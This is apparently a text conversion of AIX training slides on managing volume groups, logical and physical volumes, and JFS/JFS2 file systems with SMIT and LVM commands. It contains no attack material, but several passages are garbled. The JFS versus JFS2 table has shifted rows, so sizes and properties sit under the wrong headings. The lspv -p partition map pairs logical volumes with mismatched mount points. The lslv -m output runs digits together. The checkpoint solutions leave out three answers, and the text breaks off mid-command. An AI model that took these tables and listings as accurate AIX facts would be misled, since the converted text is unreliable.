F1=Help      F2=Refresh      F3=Cancel      F8=Image
F9=Shell     F10=Exit        Enter=Do
# smit chvg

## Change a Volume Group

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

<table>
<thead>
<tr>
<th>Option</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>VOLUME GROUP name</td>
<td>rootvg</td>
</tr>
<tr>
<td>Activate volume group AUTOMATICALLY at system restart?</td>
<td>yes</td>
</tr>
<tr>
<td>A QUORUM of disks required to keep the volume group on-line?</td>
<td>yes</td>
</tr>
<tr>
<td>Convert this VG to Concurrent Capable?</td>
<td>no</td>
</tr>
<tr>
<td>Change to big VG format?</td>
<td>no</td>
</tr>
<tr>
<td>Change to scalable VG format?</td>
<td>no</td>
</tr>
<tr>
<td>LTG Size in kbytes</td>
<td>128</td>
</tr>
<tr>
<td>Set hotspare characteristics</td>
<td>n</td>
</tr>
<tr>
<td>Set synchronization characteristics of stale partitions</td>
<td>n</td>
</tr>
<tr>
<td>Max PPs per VG in units of 1024</td>
<td>32</td>
</tr>
<tr>
<td>Max Logical Volumes</td>
<td>256</td>
</tr>
</tbody>
</table>

F1=Help          F2=Refresh        F3=Cancel        F4=List
F5=Reset         F6=Command        F7=Edit          F8=Image
F9=Shell         F10=Exit          Enter=Do
Logical track group (LTG) size

• LTG is the maximum transfer size of a logical volume

• Prior to AIX 5L V5.3:
  – Default LTG size is 128 KB
  – LTG size can be changed by the -L flag on the chvg or mkvg command

• AIX 5L V5.3 and V6.1:
  – AIX dynamically sets the LTG size (calculated at each volume group activation)
  – LTG size can be changed with the command:
    ```
    varyonvg -M <LTGsize>
    ```
  – The mkvg -L flag is no longer supported
  – The chvg -L flag has no effect on volume groups created in AIX 5L V5.3 or later
  – Enable variable LTG on old volume groups using chvg -L 0

• To display the LTG size of a disk, use the command:
  ```
  # /usr/sbin/lquerypv -M <hdisk#>
  ```
Hot spare

- 1st copy of data1 LV
- 2nd copy of data1 LV
- 1st copy of data2 LV
- 2nd copy of data2 LV

Synchronization

Hot spare
Extending and reducing volume groups

# extendvg myvg hdisk6

★ Does not retain current disk contents

# reducevg myvg hdisk5
Remove a Volume Group

# smit reducevg2

Remove a Volume Group

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

* VOLUME GROUP name

[F1=Help] [F2=Refresh] [F3=Cancel] [F4=List]
[F5=Reset] [F6=Command] [F7=Edit] [F8=Image]
[F9=Shell] [F10=Exit] [Enter=Do]
Activate/Deactivate a volume group

• Activate a volume group (make it available for use):

```
varyonvg [ -f ] Volumegroup

# varyonvg datavg
```

• Deactivate a volume group (make it unavailable for use):

```
varyoffvg Volumegroup

# varyoffvg datavg
```
Import/Export a Volume Group

# smit importvg

Import a Volume Group

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[Entry Fields]

VOLUME GROUP name []
* PHYSICAL VOLUME name [] +
Volume Group MAJOR NUMBER [] +#

F1=Help       F2=Refresh       F3=Cancel       F4=List
F5=Reset      F6=Command       F7=Edit         F8=Image
F9=Shell      F10=Exit         Enter=Do
Advanced RAID support

- Checks all disks in a volume group if they have grown in size:
  
  ```sh
  chvg -g Volumegroup
  # chvg -g datavg
  ```

- Turns on bad block relocation policy of a volume group:
  
  ```sh
  chvg -b [ y/n ] Volumegroup
  # chvg -b y datavg
  ```

- Turns off bad block relocation policy of a volume group:
  
  ```sh
  # chvg -b n datavg
  ```
Exercise 9: Working with LVM (parts 1-2)

- Part 1 - Adding and removing a disk from a volume group
- Part 2 - Creating and removing a volume group
Logical storage

Physical volumes

Logical Volume Manager

Logical Partitions

Logical volume

Logical volume
**Mirroring**

- Mirroring is when a logical partition maps to more than one physical partition of the same volume group.

- Scheduling policy:
  - **Parallel:** Physical partitions written simultaneously
  - **Sequential:** Physical partitions written in sequence
Mirror write consistency

Read request

Copy 1

Copy 2

Copy 3

Forced synchronization

Synchronize the read partitions
Striping

- Normal flow of data blocks when a logical volume is spread across physical volumes:

- The layout of stripe units when a logical volume is set up to stripe:

- Consecutive stripe units are created on different physical volumes

- Striping increases read/write sequential throughput by evenly distributing stripe units among disks

- Stripe unit size is specified at creation time
Striped columns

Striped logical volume: strip width = 3, upper bound = 6
Logical volume policies

Intra-physical volume allocation policy:

Inter-physical volume allocation policy:
- Maximum number of physical volumes to use
- Range of physical volumes to use
SMIT Logical Volumes menu

# smit lv

Logical Volumes

Move cursor to desired item and press Enter.

List All Logical Volumes by Volume Group
Add a Logical Volume
Set Characteristic of a Logical Volume
Show Characteristics of a Logical Volume
Remove a Logical Volume
Copy a Logical Volume

F1=Help        F2=Refresh        F3=Cancel        F8=Image
F9=Shell       F10=Exit          Enter=Do
Show logical volume characteristics

- Physical volume map:

```bash
# lslv -l lv00

lv00:/home/john
PV COPIES IN BAND DISTRIBUTION
hdisk0 010:000:000 70% 000:000:007:003:000
```

- Logical partition map:

```bash
# lslv -m lv00

lv00:/home/john
LP PP1 PV1 PP2 PV2 PP3 PV3
00010134 hdisk0
0002 0135 hdisk0
00030136 hdisk0
```
Add a Logical Volume

# smit mklv

Add a Logical Volume

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[TOP]

[Entry Fields]

Logical volume NAME [ ]

* VOLUME GROUP name rootvg

* Number of LOGICAL PARTITIONS [ ] #

PHYSICAL VOLUME names [ ] +

Logical volume TYPE [ ] +

POSITION on physical volume outer_middle +

RANGE of physical volumes minimum +

MAXIMUM NUMBER of PHYSICAL VOLUMES [ ] #

to use for allocation

Number of COPIES of each logical partition 1 +

Mirror Write Consistency? active +

Allocate each logical partition copy yes +

[F1=Help F2=Refresh F3=Cancel F4=List]

F5=Reset F6=Command F7=Edit F8=Image

F9=Shell F0=Exit Enter=Do

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Remove a Logical Volume

# smit rmlv

Remove a Logical Volume

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[Entry Fields]

LOGICAL VOLUME name

[F9]=Shell      [F0]=Exit          Enter=Do
Set Characteristics of a Logical Volume

Set Characteristics of a Logical Volume

Move cursor to desired item and press Enter.

Change a Logical Volume
Rename a Logical Volume
Increase the Size of a Logical Volume
Add a Copy to a Logical Volume
Remove a Copy from a Logical Volume

F1=Help    F2=Refresh    F3=Cancel    F8=Image
F9=Shell    F10=Exit     Enter=Do
List all logical volumes by volume group

# lsvg -o | lsvg -i -l

<table>
<thead>
<tr>
<th>LVNAME</th>
<th>TYPE</th>
<th>LPs</th>
<th>PPs</th>
<th>PVs</th>
<th>LV STATE</th>
<th>MOUNT POINT</th>
</tr>
</thead>
<tbody>
<tr>
<td>hd6</td>
<td>paging</td>
<td>32</td>
<td>32</td>
<td>1</td>
<td>open/syncd</td>
<td>N/A</td>
</tr>
<tr>
<td>hd5</td>
<td>boot</td>
<td>2</td>
<td>2</td>
<td>1</td>
<td>closed/syncd</td>
<td>N/A</td>
</tr>
<tr>
<td>hd8</td>
<td>jfslog</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>open/syncd</td>
<td>N/A</td>
</tr>
<tr>
<td>hd9var</td>
<td>jfs2</td>
<td>2</td>
<td>2</td>
<td>1</td>
<td>open/syncd</td>
<td>/var</td>
</tr>
<tr>
<td>hd4</td>
<td>jfs2</td>
<td>9</td>
<td>9</td>
<td>1</td>
<td>open/syncd</td>
<td>/</td>
</tr>
<tr>
<td>hd2</td>
<td>jfs2</td>
<td>101</td>
<td>101</td>
<td>1</td>
<td>open/syncd</td>
<td>/usr</td>
</tr>
<tr>
<td>hd3</td>
<td>jfs2</td>
<td>4</td>
<td>1</td>
<td>1</td>
<td>open/syncd</td>
<td>/tmp</td>
</tr>
<tr>
<td>hd1</td>
<td>jfs2</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>open/syncd</td>
<td>/home</td>
</tr>
<tr>
<td>hd10opt</td>
<td>jfs2</td>
<td>5</td>
<td>5</td>
<td>1</td>
<td>open/syncd</td>
<td>/opt</td>
</tr>
<tr>
<td>hd11admin</td>
<td>jfs2</td>
<td>8</td>
<td>8</td>
<td>1</td>
<td>open/syncd</td>
<td>/admin</td>
</tr>
<tr>
<td>lv00</td>
<td>jfs2</td>
<td>1</td>
<td>2</td>
<td>2</td>
<td>open/syncd</td>
<td>/home/john</td>
</tr>
<tr>
<td>lv01</td>
<td>jfs2</td>
<td>4</td>
<td>4</td>
<td>2</td>
<td>open/syncd</td>
<td>/home/fred</td>
</tr>
</tbody>
</table>
Show logical volume characteristics

```bash
# lslv lv02

LOGICAL VOLUME: lv02            VOLUME GROUP: course
LV IDENTIFIER: 00000000000004c000000000e5cf75106f.4  PERMISSION: read/write
VG STATE: active/complete       LV STATE: opened/syncd
TYPE: jfs2                       WRITE VERIFY: off
MAX LPs: 128                     PP SIZE: 4 megabyte(s)
COPIES: 1                         SCHED POLICY: parallel
LPs: 10                           PPs: 10
STALE PPs: 0                      BB POLICY: relocatable
INTER-POLICY: minimum             RELOCATABLE: yes
INTRA-POLICY: middle              UPPER BOUND: 32
MOUNT POINT: /home/malcolm       LABEL: /home/malcolm
MIRROR WRITE CONSISTENCY: on/ACTIVE
EACH LP COPY ON A SEPARATE PV ?: yes
Serialize IO ?: NO
```
Add Copies to a Logical Volume

# smit mklvcopy

Add Copies to a Logical Volume

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[Entry Fields]

* LOGICAL VOLUME name lv00

* NEW TOTAL number of logical partition 2 +
  copies

PHYSICAL VOLUME names [] +

POSITION on physical volume middle +

RANGE of physical volumes minimum +

MAXIMUM NUMBER of PHYSICAL VOLUMES [32] #
  to use for allocation

Allocate each logical partition copy yes +
  on a SEPARATE physical volume?

File containing ALLOCATION MAP []

SYNCHRONIZE the data in the new logical partition copies? no +

F1=Help    F2=Refresh    F3=Cancel    F4=List
F5=Reset   F6=Command    F7=Edit      F8=Image
F9=Shell   F10=Exit      Enter=Do
Reorganize a Volume Group

# smit reorgvg

Reorganize a Volume Group

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

* VOLUME GROUP name  vg3
LOGICAL VOLUMES  [lv04 lv07]  +

F1=Help       F2=Refresh       F3=Cancel       F4=List
F5=Reset      F6=Command       F7=Edit         F8=Image
F9=Shell      F10=Exit         Enter=Do
Physical volumes

- Physical volume (PV)
  - Hard disk

- Physical partition (PP)
  - Smallest assignable unit of allocation on a physical disk
SMIT Physical Volumes menu

# smit pv

Physical Volumes

Move cursor to desired item and press Enter.

List All Physical Volumes in System
Add a Disk
Change Characteristics of a Physical Volume
List Contents of a Physical Volume
Move Contents of a Physical Volume

F1=Help           F2=Refresh           F3=Cancel           F8=Image
F9=Shell          F10=Exit            Enter=Do
List physical volume information

• List all physical volumes in system:

```
# lspv

hdisk0  da1c923411d52ec91cd600802eda72c9   rootvg   active
hdisk1  bebc800000000000000000802evg79c9     rootvg   active
```

• List the contents of a physical volume:

```
# lspv hdisk0

PHYSICAL VOLUME:   hdisk0
VOLUME GROUP:     rootvg
PV IDENTIFIER:     da1c923411d52ec91cd600802eda72c9
VG IDENTIFIER:     000bc6fd00004c0000000e10fdd7f52
PV STATE:          active
STALE PARTITIONS:  0                      ALLOCATABLE:      yes
PP SIZE:           4 megabyte(s)          LOGICAL VOLUMES:  6
TOTAL PPs:         95 (380 megabytes)      VG DESCRIPTORS:   2
FREE PPs:          3 (12 megabytes)        HOT SPARE:        no
USED PPs:          92 (368 megabytes)      MAX REQUEST       256 KB
FREE DISTRIBUTION: 00..03..00..00..00
USED DISTRIBUTION: 19..16..19..19..19
```
List logical volumes on a physical volume

```bash
# lspv -l hdisk0
hdisk0:

<table>
<thead>
<tr>
<th>LV NAME</th>
<th>LPs</th>
<th>PPs</th>
<th>DISTRIBUTION</th>
<th>MOUNT POINT</th>
</tr>
</thead>
<tbody>
<tr>
<td>hd1</td>
<td>1</td>
<td>1</td>
<td>00..00..00..12..00</td>
<td>/home</td>
</tr>
<tr>
<td>hd3</td>
<td>4</td>
<td>4</td>
<td>00..03..00..00..00</td>
<td>/tmp</td>
</tr>
<tr>
<td>hd2</td>
<td>101</td>
<td>101</td>
<td>00..00..17..12..00</td>
<td>/usr</td>
</tr>
<tr>
<td>hd4</td>
<td>9</td>
<td>9</td>
<td>00..00..13..00..00</td>
<td>/</td>
</tr>
<tr>
<td>hd8</td>
<td>1</td>
<td>1</td>
<td>00..00..01..00..00</td>
<td>N/A</td>
</tr>
<tr>
<td>hd6</td>
<td>8</td>
<td>8</td>
<td>00..00..00..08..00</td>
<td>N/A</td>
</tr>
<tr>
<td>hd5</td>
<td>2</td>
<td>2</td>
<td>01..00..00..00..00</td>
<td>N/A</td>
</tr>
<tr>
<td>hd9var</td>
<td>2</td>
<td>2</td>
<td>00..00..02..00..00</td>
<td>/var</td>
</tr>
<tr>
<td>hd10opt</td>
<td>5</td>
<td>5</td>
<td>00..00..02..00..00</td>
<td>/opt</td>
</tr>
<tr>
<td>hd11admin</td>
<td>8</td>
<td>8</td>
<td>00..00..02..00..00</td>
<td>/admin</td>
</tr>
</tbody>
</table>
```
List a physical volume partition map

```bash
# lspv -p hdisk0
hdisk0:
PP RANGE     STATE      REGION            LV NAME  TYPE      MOUNT POINT
1-2          used       outer edge        hd5      boot      N/A
3-154        free       outer edge        N/A      N/A
155-186      used       outer middle      hd6      paging    N/A
187-307      free       outer middle      N/A      N/A
308-308      used       center            hd8      jfslog    N/A
309-309      used       center            hd4      jfs2      /usr
310-313      used       center            hd2      jfs2      /var
314-314      used       center            hd9var   jfs2      /tmp
315-317      used       center            hd3      jfs2      /home
318-318      used       center            hd1      jfs2      /opt
319-319      used       center            hd10opt jfs2      /usr
320-360      used       center            hd2      jfs2      /var
361-363      used       center            hd10opt jfs2      /tmp
364-364      used       center            hd3      jfs2      /opt
365-372      used       center            hd4      jfs2      /home
373-380      used       center            hd11admin jfs2     /admin
381-423      used       center            hd2      jfs2      /usr
424-424      used       center            hd9var   jfs2      /var
425-425      used       center            hd10opt jfs2      /opt
426-438      used       center            hd2      jfs2      /usr
439-460      free       center            N/A      N/A
461-613      free       inner middle      N/A      N/A
614-767      free       inner edge        N/A      N/A
```
Add or move contents of physical volumes

• A disk can be either added:
  – Through SMIT
  – Configured through configuration manager when the system boots up

• Move the contents of a physical volume:

  \[ \text{migratepv} \ [\ -l \ lvname \ ] \ sourcePV \ targetPV \ .\ . \ . \]

  # migratepv -l lv02 hdisk0 hdisk6
Documenting the disk storage setup

• List of the disks on the system (PVID and volume group):
  
  # lspv

• List the volume groups:
  
  # lsvg

• List what logical volumes are contained in each volume group:
  
  # lsvg -l vgname

• List the logical volumes on each disk:
  
  # lspv -l pvname
1. True or False? A logical volume can span more than one physical volume.

2. True or False? A logical volume can span more than one volume group.

3. True or False? The contents of a physical volume can be divided between two volume groups.

4. True or False? If mirroring logical volumes, it is not necessary to perform a backup.

5. True or False? SMIT can be used to easily increase or decrease the size of a logical volume.

6. True or False? Striping is done at a logical partition level.
Checkpoint solutions

• True or False? A logical volume can span more than one physical volume.

• True or False? A logical volume can span more than one volume group.

• True or False? The contents of a physical volume can be divided between two volume groups.

• True or False? If mirroring logical volumes, it is not necessary to perform a backup. False. You still need to back up to external media.

• True or False? SMIT can be used to easily increase or decrease the size of a logical volume. False. SMIT can only be used to increase a file system. Decreasing one requires backing up the file system, removing it, re-creating it, and then restoring.

• True or False? Striping is done at a logical partition level. False. It is done at a stripe unit level.
Exercise 9: Working with LVM (parts 3-5)

- Part 3 - Exploring your storage environment
- Part 4 - Adding a volume group
- Part 5 - Adding a logical volume
Unit summary

- SMIT or high-level commands can be used to add, change, or delete volume groups, physical volumes and logical volumes.

- Mirroring is a way to have two or three copies of a logical volume for high availability requirements.

- Disk striping is used to provide high performance in large, sequentially accessed file systems.
Welcome to:

Unit 10
Working with file systems
Unit objectives

After completing this unit, you should be able to:
• Identify the components of an AIX file system
• Add an enhanced journaled file system
• Change characteristics of a file system
• Add a RAM file system
• Add a UDF file system on a DVD-RAM
Structure of a journaled file system

- **Superblock**
  - File system size and identification
  - Free list, fragment size, nbpi

- **inodes**
  - File size, ownership, permissions, times
  - Pointers to data blocks

- **Blocks**
  - Data blocks contain data
  - Indirect blocks contain pointers to data blocks
Structure of an inode

• Contents of an inode

This information can be seen with `ls -li`:

```
$ ls -li /home/team01
2132 drwxr-xr-x  2 team01 staff 512 May 2 14:33 c
2136 drwxr-xr-x  2 team01 staff 512 May 2 14:33 doc
2141 -rw-r--r--  1 team01 staff  28 May 16 10:11 Manuals
```
File system fragmentation

No fragmentation

File size = 2000 bytes

Fragmentation enabled

File size = 2000 bytes
Fragment size = 1024 bytes

4096 bytes

2000 bytes

This free space cannot be used by another file

4096 bytes

2000 bytes
1024
1024

1024
1024

These free fragments can be used by other files
Variable number of inodes

With the default nbpi = 4096 an inode is created for every 4096 bytes of file system.

Using the value nbpi = 1024 an inode is created for every 1024 bytes of file system.
Allocation group size

Groupings of related inodes and disk blocks

- 16 MB
- 16 MB
- 16 MB

Groupings of related inodes and disk blocks

- 64 MB
- 64 MB
- 64 MB
Compressed file systems

compression = LZ (yes)
fragment size = 1024
**Large file enabled file systems**

File = 132 MB

\[(1024 \times 4 \text{ KB blocks}) + (1024 \times 128 \text{ KB blocks}) = 132 \text{ MB}\]

\[
\begin{array}{ccc}
4 \text{ MB} & + & 128 \text{ MB} \\
& = & 132 \text{ MB}
\end{array}
\]
• Part 1: Inodes and NBPI
Journal log

- No journaling of data blocks - only journals inode information (and indirect block information).
# JFS versus JFS2 file systems

<table>
<thead>
<tr>
<th></th>
<th>JFS</th>
<th>JFS2</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Maximum File Size</strong></td>
<td>64 Gigabytes / 64 Gigabytes</td>
<td>1 Petabyte / 1 Terabyte</td>
</tr>
<tr>
<td><strong>Architectural / Tested</strong></td>
<td>1 Terabyte / 1 Terabyte</td>
<td>4 Petabytes / 1 Terabyte</td>
</tr>
<tr>
<td><strong>Maximum File System Size</strong></td>
<td>128 Bytes</td>
<td>512 Bytes</td>
</tr>
<tr>
<td><strong>Architectural / Tested</strong></td>
<td>Fixed, set at creation</td>
<td>Dynamic</td>
</tr>
<tr>
<td><strong>Inode Size</strong></td>
<td>128 Bytes</td>
<td>512 Bytes</td>
</tr>
<tr>
<td><strong>Directory File Access</strong></td>
<td>Sequential</td>
<td>B-tree</td>
</tr>
<tr>
<td><strong>Journal Log support</strong></td>
<td>External JFSlog only</td>
<td>Inline or External JFS2log</td>
</tr>
<tr>
<td><strong>Compression</strong></td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td><strong>Quotas</strong></td>
<td>Yes</td>
<td>AIX 5L V5.3 and later</td>
</tr>
</tbody>
</table>

JFS2 uses extent based allocation for high performance and large file size.
Extended attributes (EA)

• Extensions to regular attributes

• Two versions
  - AIX 5L V5.2 or earlier supported only EAv1
  - EAv1 used for local file permission ACLs
  - EAv2 improved (more and larger attributes)
  - JFS2 under AIX 5L V5.3 and later support both versions

• NFS V4 ACLs stored in JFS2 with EAv2

• User defined information may be in EAv2

$ getea HenryVIII
EAName: Author
EAValue: Shakespeare
File Systems

# smit fs

File Systems

Move cursor to desired item and press Enter

List All File Systems
List All Mounted File Systems
Add/Change/Show/Delete File Systems
Mount a File System
Mount a Group of File Systems
Unmount a File System
Unmount a Group of File Systems
Verify a File System
Backup a File System
Restore a File System
List Contents of a Backup
Create and backup a snapshot
### lsfs

<table>
<thead>
<tr>
<th>Name</th>
<th>Nodename</th>
<th>Mount Pt</th>
<th>VFS</th>
<th>Size</th>
<th>Options</th>
<th>Auto</th>
</tr>
</thead>
<tbody>
<tr>
<td>/dev/hd4</td>
<td>__</td>
<td>/</td>
<td>jfs2</td>
<td>294912</td>
<td>__</td>
<td>yes</td>
</tr>
<tr>
<td>/dev/hd1</td>
<td>__</td>
<td>/home</td>
<td>jfs2</td>
<td>32768</td>
<td>__</td>
<td>yes</td>
</tr>
<tr>
<td>/dev/hd2</td>
<td>__</td>
<td>/usr</td>
<td>jfs2</td>
<td>3309568</td>
<td>__</td>
<td>yes</td>
</tr>
<tr>
<td>/dev/hd9var</td>
<td>__</td>
<td>/var</td>
<td>jfs2</td>
<td>65536</td>
<td>__</td>
<td>yes</td>
</tr>
<tr>
<td>/dev/hd3</td>
<td>__</td>
<td>/tmp</td>
<td>jfs2</td>
<td>131072</td>
<td>__</td>
<td>yes</td>
</tr>
<tr>
<td>/proc</td>
<td>__</td>
<td>/proc</td>
<td>procfs</td>
<td>__</td>
<td>ro</td>
<td>yes</td>
</tr>
<tr>
<td>/dev/hd10opt</td>
<td>__</td>
<td>/opt</td>
<td>jfs2</td>
<td>163840</td>
<td>__</td>
<td>yes</td>
</tr>
<tr>
<td>/dev/hd11admin</td>
<td>__</td>
<td>/admin</td>
<td>jfs2</td>
<td>262144</td>
<td>__</td>
<td>yes</td>
</tr>
<tr>
<td>/budget</td>
<td>sys4</td>
<td>/reports</td>
<td>nfs2</td>
<td>__</td>
<td>bg,hard,intr</td>
<td>no</td>
</tr>
<tr>
<td>/dev/cd0</td>
<td>__</td>
<td>/cdrom</td>
<td>cdrfs</td>
<td>__</td>
<td>ro</td>
<td>no</td>
</tr>
</tbody>
</table>
List all mounted file systems

# mount

<table>
<thead>
<tr>
<th>node</th>
<th>mounted</th>
<th>mounted over</th>
<th>vfs</th>
<th>date</th>
<th>options</th>
</tr>
</thead>
<tbody>
<tr>
<td>/dev/hd4</td>
<td>/</td>
<td></td>
<td>jfs2</td>
<td>Jul 11 20:14</td>
<td>rw,log=/dev/hd8</td>
</tr>
<tr>
<td>/dev/hd2</td>
<td>/usr</td>
<td></td>
<td>jfs2</td>
<td>Jul 11 20:15</td>
<td>rw,log=/dev/hd8</td>
</tr>
<tr>
<td>/dev/hd9var</td>
<td>/var</td>
<td></td>
<td>jfs2</td>
<td>Jul 11 20:15</td>
<td>rw,log=/dev/hd8</td>
</tr>
<tr>
<td>/dev/hd3</td>
<td>/tmp</td>
<td></td>
<td>jfs2</td>
<td>Jul 11 20:15</td>
<td>rw,log=/dev/hd8</td>
</tr>
<tr>
<td>/dev/hd1</td>
<td>/home</td>
<td></td>
<td>jfs2</td>
<td>Jul 11 20:16</td>
<td>rw,log=/dev/loglv00</td>
</tr>
<tr>
<td>/proc</td>
<td>/proc</td>
<td></td>
<td>procfs</td>
<td>Jul 11 20:16</td>
<td>rw</td>
</tr>
<tr>
<td>/dev/hd10opt</td>
<td>/opt</td>
<td></td>
<td>jfs2</td>
<td>Jul 11 20:16</td>
<td>rw,log=/dev/hd8</td>
</tr>
<tr>
<td>/dev/hd11admin</td>
<td>/admin</td>
<td></td>
<td>jfs2</td>
<td>Jul 11 20:16</td>
<td>rw,log=/dev/hd8</td>
</tr>
<tr>
<td>sys4</td>
<td>/budget</td>
<td></td>
<td>nfs</td>
<td>Jul 11 20:16</td>
<td>rw,hard,bg,INTR</td>
</tr>
<tr>
<td>/dev/ramdisk</td>
<td>/ramdisk</td>
<td></td>
<td>jfs</td>
<td>Jul 11 20:17</td>
<td>rw,nointegrity</td>
</tr>
<tr>
<td>/dev/project</td>
<td>/project</td>
<td></td>
<td>jfs2</td>
<td>Jul 11 20:18</td>
<td>rw,log=INLINE</td>
</tr>
<tr>
<td>/dev/cd0</td>
<td>/cdrom</td>
<td></td>
<td>cdrfs</td>
<td>Jul 11 20:19</td>
<td>ro</td>
</tr>
</tbody>
</table>
Add/Change/Show/Delete File Systems

# smit manfs

Add / Change / Show / Delete File Systems

Move cursor to desired item and press Enter

Enhanced Journaled File Systems
Journaled File Systems
CDROM File Systems
Network File Systems (NFS)
Working with journaled file systems in SMIT

Journaled File Systems
Move cursor to desired item and press Enter.

Add a Journaled File System
Add a Journaled File System on a Previously Defined Logical Volume
Change / Show Characteristics of a Journaled File System
Remove a Journaled File System
Defragment a Journaled File System

Add a Journaled File System on a Previously Defined Logical Volume
Move cursor to desired item and press Enter.

Add a Standard Journaled File System
Add a Compressed Journaled File System
Add a Large File Enabled Journaled File System
Add a standard journaled file system on a previously defined logical volume

Add a Standard Journaled File System

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[Entry Fields]

* LOGICAL VOLUME name

* MOUNT POINT
Mount AUTOMATICALLY at system restart? no
PERMISSIONS read/write
Mount OPTIONS
Start Disk Accounting ? no
Fragment Size (bytes) 4096
Number of bytes per inode 4096
Allocation Group Size (MBytes) 8
Logical Volume for Log

F1=Help F2=Refresh F3=Cancel F4=List
F5=Reset F6=Command F7=Edit F8=Image
F9=Shell F10=Exit Enter=Do

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Add a Standard Journaled File System

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[Entry Fields]

Volume group name                                 rootvg
SIZE of file system
Unit Size                                    Megabytes     +
* Number of units                             [ ]             #
* MOUNT POINT                                  [ ]

Mount AUTOMATICALLY at system restart?            no            +
PERMISSIONS                                       read/write    +
Mount OPTIONS                                    [ ]            +
Start Disk Accounting ?                          no            +
Fragment Size (bytes)                             4096          +
Number of bytes per inode                       4096          +
Allocation Group Size (MBytes)                   8             +
Logical Volume for Log                           [ ]            +

F1=Help                                          F2=Refresh    F3=Cancel         F4=List
F5=Reset                                         F6=Command    F7=Edit           F8=Image
F9=Shell                                         F10=Exit      Enter=Do

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Working with enhanced journaled file systems (JFS2) in SMIT

Enhanced Journaled File Systems

Move cursor to desired item and press Enter.

Add an Enhanced Journaled File System
Add an Enhanced Journaled File System on a Previously Defined Logical Volume
Change / Show Characteristics of an Enhanced Journaled File System
Remove an Enhanced Journaled File System
Manage Quotas for an Enhanced Journaled File System
Defragment an Enhanced Journaled File System
List Snapshots for an Enhanced Journaled File System
Create Snapshot for an Enhanced Journaled File System
Mount Snapshot for an Enhanced Journaled File System
Remove Snapshot for an Enhanced Journaled File System
Unmount Snapshot for an Enhanced Journaled File System
Change Snapshot for an Enhanced Journaled File System
Rollback an Enhanced Journaled File System to a Snapshot

F1=Help            F2=Refresh            F3=Cancel            Esc+8=Image
Esc+9=Shell        Esc+0=Exit           Enter=Do
Add an enhanced journaled file system (JFS2) on a previously defined logical volume

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

* LOGICAL VOLUME name +
* MOUNT POINT [ ]
  Mount AUTOMATICALLY at system restart? no +
  PERMISSIONS read/write +
  Mount OPTIONS [ ] +
  Block Size (bytes) 4096 +
  Logical Volume for Log [ ] +
  Inline Log size (MBytes) [ ] #
  Extended Attribute Format Version 1 +
  Enable Quota Management no +
  Enable EFS? no +
  Allow internal snapshots? no +

F1=Help  F2=Refresh  F3=Cancel  F4=List
F5=Reset  F6=Command  F7=Edit  F8=Image
F9=Shell  F10=Exit  Enter=Do
Add an Enhanced Journaled File System
(JFS2)

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[Entry Fields]

Volume group name
rootvg
SIZE of file system
Unit Size
Megabytes +
Number of units
[
] 
#

MOUNT POINT
[
]
Mount AUTOMATICALLY at system restart?
no +
PERMISSIONS
read/write +
Mount OPTIONS
[
] +
Block size (bytes)
4096 +
Logical Volume for Log
[ ] +
Inline Log size (MBytes)
[ ] 
#
Extended Attribute Format
Version 1 +
Enable Quota Management
no +

[MORE...2]
Mount a File System

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[Entry Fields]

FILE SYSTEM name [ ] +
DIRECTORY over which to mount [ ] +
TYPE of file system +
FORCE the mount? no +
REMOTE NODE containing the file system to mount [ ]
Mount as a REMOVABLE file system? no +
Mount as a READ-ONLY system? no +
Disallow DEVICE access via this mount? no +
Disallow execution of SUID and sgid programs in this file system? no +

F1=Help F2=Refresh F3=Cancel F4=List
F5=Reset F6=Command F7=Edit F8=Image
F9=Shell F10=Exit Enter=Do
Change/Show Characteristics of a Journaled File System

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

File system name  
NEW mount point  
SIZE of file system (in 512-byte blocks)
  Unit Size  
  Number of units
Mount GROUP
Mount AUTOMATICALLY at system restart ?
PERMISSIONS
MOUNT OPTIONS
Start Disk Accounting ?
Fragment Size (bytes)
Number of bytes per inode
Compression algorithm
Large File Enabled
Allocation Group Size (MBytes)
Change / Show Characteristics of an Enhanced Journaled File System

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

<table>
<thead>
<tr>
<th>Entry Fields</th>
</tr>
</thead>
<tbody>
<tr>
<td>File system name</td>
</tr>
<tr>
<td>NEW mount point</td>
</tr>
<tr>
<td>SIZE of file system</td>
</tr>
<tr>
<td>Unit Size</td>
</tr>
<tr>
<td>Number of units</td>
</tr>
<tr>
<td>Mount GROUP</td>
</tr>
<tr>
<td>Mount AUTOMATICALLY at system restart?</td>
</tr>
<tr>
<td>PERMISSIONS</td>
</tr>
<tr>
<td>MOUNT OPTIONS</td>
</tr>
<tr>
<td>Start Disk Accounting?</td>
</tr>
<tr>
<td>Block size (bytes)</td>
</tr>
<tr>
<td>Inline Log?</td>
</tr>
<tr>
<td>Inline Log size (MBytes)</td>
</tr>
<tr>
<td>Extended Attribute Format</td>
</tr>
<tr>
<td>Enable Quota Management</td>
</tr>
<tr>
<td>Allow Small Inode Extents</td>
</tr>
<tr>
<td>Enable EFS?</td>
</tr>
</tbody>
</table>
Dynamically shrinking a JFS2 file system

Before:

LP1

LP2

After:

LP1

# chfs -a size="-16M" /myfs
Remove a Journaled File System

Remove a Journaled File System

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[Entry Fields]

FILENAME name
Remove Mount Point

F1=Help F2=Refresh F3=Cancel F4=List
F5=Reset F6=Command F7=Edit F8=Image
F9=Shell F10=Exit Enter=Do
Add a RAM file system

- Create a RAM disk of 4 MB
  
  ```bash
  # mkramdisk 4M
  /dev/rramdisk0
  ```

- Create a JFS file system on this RAM disk
  
  ```bash
  # mkfs -V jfs /dev/ramdisk0
  mkfs: destroy /dev/ramdisk0 (yes)? y
  ```

- Create mount point
  
  ```bash
